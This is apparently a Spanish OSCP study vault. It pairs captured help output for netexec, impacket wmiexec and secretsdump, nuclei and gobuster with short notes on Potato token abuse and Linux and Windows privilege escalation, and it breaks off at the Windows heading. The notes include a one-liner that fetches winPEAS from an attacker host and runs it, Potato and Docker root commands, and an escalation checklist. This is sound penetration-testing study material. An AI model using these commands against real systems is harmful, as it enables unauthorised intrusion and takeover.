# netexec — manual

Salida de `netexec --help`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
usage: netexec [-h] [--version] [-t THREADS] [--timeout TIMEOUT]
               [--jitter INTERVAL] [--no-progress] [--log LOG]
               [--verbose | --debug] [-6] [--dns-server DNS_SERVER]
               [--dns-tcp] [--dns-timeout DNS_TIMEOUT]
               {smb,ftp,ldap,mssql,winrm,nfs,ssh,wmi,vnc,rdp} ...

     .   .
    .|   |.     _   _          _     _____
    ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
    .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
   ˙ \   / ˙
     ˙   ˙

    The network execution tool
    Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx

    For documentation and usage examples, visit: https://www.netexec.wiki/

    Version : 1.5.1
    Codename: Yippie-Ki-Yay
    Commit  : 515dccee


options:
  -h, --help            show this help message and exit
  --verbose             enable verbose output
  --debug               enable debug level information

Generic Options:
  --version             Display nxc version
  -t THREADS, --threads THREADS
                        set how many concurrent threads to use
  --timeout TIMEOUT     max timeout in seconds of each thread
  --jitter INTERVAL     sets a random delay between each authentication

Output Options:
  --no-progress         do not displaying progress bar during scan
  --log LOG             export result into a custom file

DNS:
  -6                    Enable force IPv6
  --dns-server DNS_SERVER
                        Specify DNS server (default: Use hosts file & System DNS)
  --dns-tcp             Use TCP instead of UDP for DNS queries
  --dns-timeout DNS_TIMEOUT
                        DNS query timeout in seconds


Available Protocols:
  {smb,ftp,ldap,mssql,winrm,nfs,ssh,wmi,vnc,rdp}
    smb                 own stuff using SMB
    ftp                 own stuff using FTP
    ldap                own stuff using LDAP
    mssql               own stuff using MSSQL
    winrm               own stuff using WINRM
    nfs                 own stuff using NFS
    ssh                 own stuff using SSH
    wmi                 own stuff using WMI
    vnc                 own stuff using VNC
    rdp                 own stuff using RDP
```


# impacket-wmiexec — manual

Salida de `impacket-wmiexec -h`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-silentcommand]
                  [-debug] [-codec CODEC] [-shell-type {cmd,powershell}]
                  [-com-version MAJOR_VERSION:MINOR_VERSION]
                  [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                  [-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
                  target [command ...]

Executes a semi-interactive shell using Windows Management Instrumentation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell


options:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default
                        ADMIN$)
  -nooutput             whether or not to print the output (no SMB connection
                        created)
  -ts                   Adds timestamp to every logging output
  -silentcommand        does not execute cmd.exe to run given command (no
                        output)
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output
                        (default "utf-8"). If errors are detected, run
                        chcp.com at the target, map the result with https://do
                        cs.python.org/3/library/codecs.html#standard-encodings
                        and then execute wmiexec.py again with -codec and the
                        corresponding codec
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive
                        shell
  -com-version MAJOR_VERSION:MINOR_VERSION
                        DCOM version, format is MAJOR_VERSION:MINOR_VERSION
                        e.g. 5.7


authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter
  -A authfile           smbclient/mount.cifs-style authentication file. See
                        smbclient man page's -A option.
  -keytab KEYTAB        Read keys for SPN from keytab file
```


# nuclei — manual

Salida de `nuclei --help`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]          target URLs/hosts to scan
   -l, -list string              path to file containing a list of target URLs/hosts to scan (one per line)
   -eh, -exclude-hosts string[]  hosts to exclude to scan from the input list (ip, cidr, hostname)
   -resume string                resume scan using resume.cfg (clustering will be disabled)
   -sa, -scan-all-ips            scan all the IP's associated with dns record
   -iv, -ip-version string[]     IP version to scan of hostname (4,6) - (default 4)


TARGET-FORMAT:
   -im, -input-mode string        mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
   -ro, -required-only            use only required fields in input format when generating requests
   -sfv, -skip-format-validation  skip format validation (like missing vars) when parsing input file


TEMPLATES:
   -nt, -new-templates                    run only new templates added in latest nuclei-templates release
   -ntv, -new-templates-version string[]  run new templates added in specific version
   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping
   -t, -templates string[]                list of template or template directory to run (comma-separated, file)
   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)
   -ai, -prompt string                    generate and run template using ai prompt
   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)
   -wurl, -workflow-url string[]          workflow url or list containing workflow urls to run (comma-separated, file)
   -validate                              validate the passed templates to nuclei
   -nss, -no-strict-syntax                disable strict syntax check on templates
   -td, -template-display                 displays the templates content
   -tl                                    list all available templates
   -tgl                                   list all available tags
   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
   -code                                  enable loading code protocol-based templates
   -dut, -disable-unsigned-templates      disable running unsigned templates or templates with mismatched signature
   -esc, -enable-self-contained           enable loading self-contained templates
   -egm, -enable-global-matchers          enable loading global matchers templates
   -file                                  enable loading file templates


FILTERING:
   -a, -author string[]               templates to run based on authors (comma-separated, file)
   -tags string[]                     templates to run based on tags (comma-separated, file)
   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)
   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration
   -id, -template-id string[]         templates to run based on template ids (comma-separated, file, allow-wildcard)
   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)
   -it, -include-templates string[]   path to template file or directory to be executed even if they are excluded either by default or configuration
   -et, -exclude-templates string[]   path to template file or directory to exclude (comma-separated, file)
   -em, -exclude-matchers string[]    template matchers to exclude in result
   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -tc, -template-condition string[]  templates to run based on expression condition


OUTPUT:
   -o, -output string            output file to write found issues/vulnerabilities
   -sresp, -store-resp           store all request/response passed through nuclei to output directory
   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default "output")
   -silent                       display findings only
   -nc, -no-color                disable output content coloring (ANSI escape codes)
   -j, -jsonl                    write output in JSONL(ines) format
   -irr, -include-rr -omit-raw   include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
   -or, -omit-raw                omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
   -ot, -omit-template           omit encoded template in the JSON, JSONL output
   -nm, -no-meta                 disable printing result metadata in cli output
   -ts, -timestamp               enables printing timestamp in cli output
   -rdb, -report-db string       nuclei reporting database (always use this to persist report data)
   -ms, -matcher-status          display match failure status
   -me, -markdown-export string  directory to export results in markdown format
   -se, -sarif-export string     file to export results in SARIF format
   -je, -json-export string      file to export results in JSON format
   -jle, -jsonl-export string    file to export results in JSONL(ine) format
   -rd, -redact string[]         redact given list of keys from query parameter, request header and body


CONFIGURATIONS:
   -config string                        path to the nuclei configuration file
   -tp, -profile string                  template profile config file to run
   -tpl, -profile-list                   list community template profiles
   -fr, -follow-redirects                enable following redirects for http templates
   -fhr, -follow-host-redirects          follow redirects on the same host
   -mr, -max-redirects int               max number of redirects to follow for http templates (default 10)
   -dr, -disable-redirects               disable redirects for http templates
   -rc, -report-config string            nuclei reporting module configuration file
   -H, -header string[]                  custom header/cookie to include in all http request in header:value format (cli, file)
   -V, -var value                        custom vars in key=value format
   -r, -resolvers string                 file containing resolver list for nuclei
   -sr, -system-resolvers                use system DNS resolving as error fallback
   -dc, -disable-clustering              disable clustering of requests
   -passive                              enable passive HTTP response processing mode
   -fh2, -force-http2                    force http2 connection on requests
   -ev, -env-vars                        enable environment variables to be used in template
   -cc, -client-cert string              client certificate file (PEM-encoded) used for authenticating against scanned hosts
   -ck, -client-key string               client key file (PEM-encoded) used for authenticating against scanned hosts
   -ca, -client-ca string                client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
   -sml, -show-match-line                show match lines for file templates, works with extractors only
   -ztls                                 use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
   -sni string                           tls sni hostname to use (default: input domain name)
   -dka, -dialer-keep-alive value        keep-alive duration for network requests.
   -lfa, -allow-local-file-access        allows file (payload) access anywhere on the system
   -lna, -restrict-local-network-access  blocks connections to the local / private network
   -i, -interface string                 network interface to use for network scan
   -at, -attack-type string              type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
   -sip, -source-ip string               source ip address to use for network scan
   -rsr, -response-size-read int         max response size to read in bytes
   -rss, -response-size-save int         max response size to read in bytes (default 1048576)
   -reset                                reset removes all nuclei configuration and data files (including nuclei-templates)
   -tlsi, -tls-impersonate               enable experimental client hello (ja3) tls randomization
   -hae, -http-api-endpoint string       experimental http api endpoint


INTERACTSH:
   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server
   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)
   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)
   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)
   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)
   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates


FUZZING:
   -ft, -fuzzing-type string           overrides fuzzing type set in template (replace, prefix, postfix, infix)
   -fm, -fuzzing-mode string           overrides fuzzing mode set in template (multiple, single)
   -fuzz                               enable loading fuzzing templates (Deprecated: use -dast instead)
   -dast                               enable / run dast (fuzz) nuclei templates
   -dts, -dast-server                  enable dast server mode (live fuzzing)
   -dtr, -dast-report                  write dast scan report to file
   -dtst, -dast-server-token string    dast server token (optional)
   -dtsa, -dast-server-address string  dast server address (default "localhost:9055")
   -dfp, -display-fuzz-points          display fuzz points in the output for debugging
   -fuzz-param-frequency int           frequency of uninteresting parameters for fuzzing before skipping (default 10)
   -fa, -fuzz-aggression string        fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
   -cs, -fuzz-scope string[]           in scope url regex to be followed by fuzzer
   -cos, -fuzz-out-scope string[]      out of scope url regex to be excluded by fuzzer


UNCOVER:
   -uc, -uncover                  enable uncover engine
   -uq, -uncover-query string[]   uncover search query
   -ue, -uncover-engine string[]  uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google,odin,binaryedge) (default shodan)
   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default "ip:port")
   -ul, -uncover-limit int        uncover results to return (default 100)
   -ur, -uncover-ratelimit int    override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)


RATE-LIMIT:
   -rl, -rate-limit int               maximum number of requests to send per second (default 150)
   -rld, -rate-limit-duration value   maximum number of requests to send per second (default 1s)
   -rlm, -rate-limit-minute int       maximum number of requests to send per minute (DEPRECATED)
   -bs, -bulk-size int                maximum number of hosts to be analyzed in parallel per template (default 25)
   -c, -concurrency int               maximum number of templates to be executed in parallel (default 25)
   -hbs, -headless-bulk-size int      maximum number of headless hosts to be analyzed in parallel per template (default 10)
   -headc, -headless-concurrency int  maximum number of headless templates to be executed in parallel (default 10)
   -jsc, -js-concurrency int          maximum number of javascript runtimes to be executed in parallel (default 120)
   -pc, -payload-concurrency int      max payload concurrency for each template (default 25)
   -prc, -probe-concurrency int       http probe concurrency with httpx (default 50)


OPTIMIZATIONS:
   -timeout int                     time to wait in seconds before timeout (default 10)
   -retries int                     number of times to retry a failed request (default 1)
   -ldp, -leave-default-ports       leave default HTTP/HTTPS ports (eg. host:80,host:443)
   -mhe, -max-host-error int        max errors for a host before skipping from scan (default 30)
   -te, -track-error string[]       adds given error to max-host-error watchlist (standard, file)
   -nmhe, -no-mhe                   disable skipping host from scan based on errors
   -project                         use a project folder to avoid sending same request multiple times
   -project-path string             set a specific project path (default "/tmp")
   -spm, -stop-at-first-match       stop processing HTTP requests after the first match (may break template/workflow logic)
   -stream                          stream mode - start elaborating without sorting the input
   -ss, -scan-strategy value        strategy to use while scanning(auto/host-spray/template-spray) (default auto)
   -irt, -input-read-timeout value  timeout on input read (default 3m0s)
   -nh, -no-httpx                   disable httpx probing for non-url input
   -no-stdin                        disable stdin processing


HEADLESS:
   -headless                        enable templates that require headless browser support (root user on Linux will disable sandbox)
   -page-timeout int                seconds to wait for each page in headless mode (default 20)
   -sb, -show-browser               show the browser on the screen when running templates with headless mode
   -ho, -headless-options string[]  start headless chrome with additional options
   -sc, -system-chrome              use local installed Chrome browser instead of nuclei installed
   -lha, -list-headless-action      list available headless actions


DEBUG:
   -debug                     show all requests and responses
   -dreq, -debug-req          show all sent requests
   -dresp, -debug-resp        show all received responses
   -p, -proxy string[]        list of http/socks5 proxy to use (comma separated or file input)
   -pi, -proxy-internal       proxy all internal requests
   -ldf, -list-dsl-function   list all supported DSL function signatures
   -tlog, -trace-log string   file to write sent requests trace log
   -elog, -error-log string   file to write sent requests error log
   -version                   show nuclei version
   -hm, -hang-monitor         enable nuclei hang monitoring
   -v, -verbose               show verbose output
   -profile-mem string        generate memory (heap) profile & trace files
   -vv                        display templates loaded for scan
   -svd, -show-var-dump       show variables dump for debugging
   -vdl, -var-dump-limit int  limit the number of characters displayed in var dump (default 255)
   -ep, -enable-pprof         enable pprof debugging server
   -tv, -templates-version    shows the version of the installed nuclei-templates
   -hc, -health-check         run diagnostic check up


UPDATE:
   -up, -update                      update nuclei engine to the latest released version
   -ut, -update-templates            update nuclei-templates to latest released version
   -ud, -update-template-dir string  custom directory to install / update nuclei-templates
   -duc, -disable-update-check       disable automatic nuclei/templates update check

STATISTICS:
   -stats                    display statistics about the running scan
   -sj, -stats-json          display statistics in JSONL(ines) format
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)
   -hps, -http-stats         enable http status capturing (experimental)


CLOUD:
   -auth                           configure projectdiscovery cloud (pdcp) api key (default true)
   -tid, -team-id string           upload scan results to given team id (optional) (default "none")
   -cup, -cloud-upload             upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
   -sid, -scan-id string           upload scan results to existing scan id (optional)
   -sname, -scan-name string       scan name to set (optional)
   -pd, -dashboard                 upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
   -pdu, -dashboard-upload string  upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard

AUTHENTICATION:
   -sf, -secret-file string[]  path to config file containing secrets for nuclei authenticated scan
   -ps, -prefetch-secrets      prefetch secrets from the secrets file

EXAMPLES:
Run nuclei on single host:
	$ nuclei -target example.com

Run nuclei with specific template directories:
	$ nuclei -target example.com -t http/cves/ -t ssl

Run nuclei against a list of hosts:
	$ nuclei -list hosts.txt

Run nuclei with a JSON output:
	$ nuclei -target example.com -json-export output.json


Run nuclei with sorted Markdown outputs (with environment variables):
	$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/

Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
```


# impacket-secretsdump — manual

Salida de `impacket-secretsdump -h`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                      [-security SECURITY] [-sam SAM] [-ntds NTDS]
                      [-resumefile RESUMEFILE] [-outputfile OUTPUTFILE]
                      [-use-vss] [-rodcNo RODCNO] [-rodcKey RODCKEY]
                      [-use-keylist]
                      [-exec-method [{smbexec,wmiexec,mmcexec}]]
                      [-just-dc-user USERNAME] [-just-dc] [-just-dc-ntlm]
                      [-pwd-last-set] [-user-status] [-history]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                      [-target-ip ip address]
                      target

Performs various techniques to dump secrets from the remote machine without
executing any agent there.


positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
                        or LOCAL (if you want to parse local files)


options:
  -h, --help            show this help message and exit
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -system SYSTEM        SYSTEM hive to parse
  -bootkey BOOTKEY      bootkey for SYSTEM hive
  -security SECURITY    SECURITY hive to parse
  -sam SAM              SAM hive to parse
  -ntds NTDS            NTDS.DIT file to parse
  -resumefile RESUMEFILE
                        resume file name to resume NTDS.DIT session dump (only
                        available to DRSUAPI approach). This file will also be
                        used to keep updating the session's state
  -outputfile OUTPUTFILE
                        base output filename. Extensions will be added for
                        sam, secrets, cached and ntds
  -use-vss              Use the VSS method instead of default DRSUAPI
  -rodcNo RODCNO        Number of the RODC krbtgt account (only avaiable for
                        Kerb-Key-List approach)
  -rodcKey RODCKEY      AES key of the Read Only Domain Controller (only
                        avaiable for Kerb-Key-List approach)
  -use-keylist          Use the Kerb-Key-List method instead of default
                        DRSUAPI
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using
                        -use-vss). Default: smbexec


display options:
  -just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified.
                        Only available for DRSUAPI approach. Implies also
                        -just-dc switch
  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos
                        keys)
  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)
  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account.
                        Doesn't apply to -outputfile data
  -user-status          Display whether or not the user is disabled
  -history              Dump password history, and LSA secrets OldVal


authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will
                        use whatever was specified as target. This is useful
                        when target is the NetBIOS name and you cannot resolve
                        it
```


# gobuster — manual

Salida de `gobuster --help`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Usage:
  gobuster [command]

Available Commands:
  completion  Generate the autocompletion script for the specified shell
  dir         Uses directory/file enumeration mode
  dns         Uses DNS subdomain enumeration mode
  fuzz        Uses fuzzing mode. Replaces the keyword FUZZ in the URL, Headers and the request body
  gcs         Uses gcs bucket enumeration mode
  help        Help about any command
  s3          Uses aws bucket enumeration mode
  tftp        Uses TFTP enumeration mode
  version     shows the current version
  vhost       Uses VHOST enumeration mode (you most probably want to use the IP address as the URL parameter)


Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
  -h, --help              help for gobuster
      --no-color          Disable color output
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist

Use "gobuster [command] --help" for more information about a command.
```


# PEASS-ng (winPEAS / linPEAS)

> Scripts que **enumeran automáticamente** todos los vectores de privesc. En `tu carpeta`.


# Kali (servir): cd tu carpeta && python3 -m http.server 80   → Transferencia de ficheros
```
```powershell


# Windows:
iwr http://TU_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe ; C:\Windows\Temp\wp.exe
```
```bash


## Regla de oro
**Automatizado + manual.** winPEAS resalta lo sospechoso (rojo/amarillo), pero **revisa a mano** Privesc Windows / Privesc Linux: winPEAS no encuentra todo (ej. lógica de un script cron concreto).

Relacionado: GTFOBins y LOLBAS · Metodología OSCP · OSCP MOC


conocimiento/04 - Privesc/Potato attacks.md

# Potato attacks

> Cuando `whoami /priv` muestra **SeImpersonatePrivilege** o **SeAssignPrimaryTokenPrivilege** → abuso de token a **NT AUTHORITY\SYSTEM**.


## El gatillo
```
whoami /priv   →  busca SeImpersonatePrivilege = Enabled
```
Típico en cuentas de servicio (IIS, MSSQL `sa`, etc.).


## La familia
```
JuicyPotato    → Windows antiguos
PrintSpoofer   → Windows 10/Server 2016-2019 (servicio de impresión)
GodPotato      → moderno, muy fiable hoy
RoguePotato / RottenPotato → variantes
```


## Uso típico (GodPotato/PrintSpoofer)
```
GodPotato.exe -cmd "cmd /c whoami"
PrintSpoofer.exe -i -c cmd
```
Subes el .exe con Transferencia de ficheros.


conocimiento/04 - Privesc/Privesc Linux.md

# Privesc Linux

> Tras el foothold (Reverse shell + Estabilizar shell TTY): script automatizado (PEASS-ng) **+** revisión manual. Paso 4 de la Metodología OSCP.


## Los 10 olvidados
```
1.  sudo -l            → SIEMPRE primero, sin password
2.  SUID exóticos      → find / -perm -4000 2>/dev/null  → GTFOBins y LOLBAS
3.  Capabilities       → getcap -r / 2>/dev/null  (cap_setuid en python/perl = root)
4.  Cron escribibles   → /etc/crontab, /var/spool/cron  (scripts que puedes editar)
5.  Wildcard injection → tar czf /backup/* con --checkpoint
6.  PATH abuse         → script SUID llama "ps" sin ruta → creas ./ps malicioso
7.  NFS no_root_squash → showmount -e ; montas y subes un SUID
8.  Docker group       → docker run -v /:/mnt -it alpine chroot /mnt  (= root)
9.  Kernel exploits    → último recurso: DirtyCow, DirtyPipe (uname -a; searchsploit)
10. Ficheros sensibles → /etc/passwd escribible, /etc/shadow legible, /var/backups
```


## Orden recomendado
`sudo -l` → SUID/caps + GTFOBins y LOLBAS → cron → resto. **Kernel exploit = último recurso** (inestable) → Exploits conocidos.


## Herramientas
`linpeas.sh` (PEASS-ng), `LinEnum`, `linux-exploit-suggester` (LES), `lse.sh`, y `pspy` (espía cron/procesos sin root). Ver Herramientas (índice).

Relacionado: Exploits conocidos · PEASS-ng · Privesc Windows · OSCP MOC


conocimiento/04 - Privesc/Privesc Windows.md

# Privesc Windows

> Tras la Reverse shell PowerShell: PEASS-ng (winPEAS) **+** revisión manual. Camino a SYSTEM.